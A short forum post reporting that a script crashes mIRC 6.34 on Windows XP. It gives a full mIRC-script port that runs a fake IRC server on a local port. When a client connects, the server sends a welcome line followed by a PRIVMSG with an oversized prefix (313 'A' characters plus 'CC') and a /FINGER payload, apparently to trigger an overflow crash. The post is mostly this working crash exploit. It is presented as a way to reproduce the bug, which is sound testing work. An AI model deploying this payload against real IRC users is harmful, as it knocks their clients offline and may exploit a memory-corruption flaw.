That Perl Script is crashing both my modified and my clean installation of mIRC.
ScreenshotWindows XP Service Pack 3, mIRC 6.34, ...
Edit: I have translated this into an mIRC script, for easier testing...
To start listening, type /crash ...
alias crash {
; check for open sockets
if ($sock(crashing*)) {
sockclose crashing*
echo -sgt Crash-Sockets closed.
return
}
; determining port
var %p = 6667
while (!$portfree(%p) && %p <= 65535) { inc %p }
if (%p >= 65536) { echo -sgt ERROR: Socket could not be created. | return }
; listening
socklisten crashing %p
if (!$sock(crashing)) { echo -sgt ERROR: Socket could not be created. | return }
echo -sgt Crash-Socket listening...
echo -sgt Type 04/server localhost %p $+ to crash mirc.
}
on *:socklisten:crashing: {
var %s = crashing. $+ $ticks
sockaccept %s
sockwrite -n %s :irc_server.stuff 001 yow :Welcome to the Internet Relay Network yow
sockwrite -n %s $+(:,$str(A,313),CC) PRIVMSG yow : /FINGER yow.
echo -sgt Sending crash-message to $sock(%s).ip
.timer 1 3 sockclose %s
}